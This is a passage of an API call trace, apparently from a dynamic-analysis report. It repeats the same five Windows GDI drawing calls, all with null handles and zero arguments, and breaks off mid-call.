[0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.684] GradientFill () returned 0x0 [0156.684] BeginPath (hdc=0x0) returned 0 [0156.684] FillPath (hdc=0x0) returned 0 [0156.684] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.684] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.685] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.685] GradientFill () returned 0x0 [0156.685] BeginPath (hdc=0x0) returned 0 [0156.685] FillPath (hdc=0x0) returned 0 [0156.685] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.686] BeginPath (hdc=0x0) returned 0 [0156.686] FillPath (hdc=0x0) returned 0 [0156.686] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.686] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.686] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.687] FillPath (hdc=0x0) returned 0 [0156.687] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.687] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.687] GradientFill () returned 0x0 [0156.687] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.688] BeginPath (hdc=0x0) returned 0 [0156.688] FillPath (hdc=0x0) returned 0 [0156.688] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.688] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.688] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, 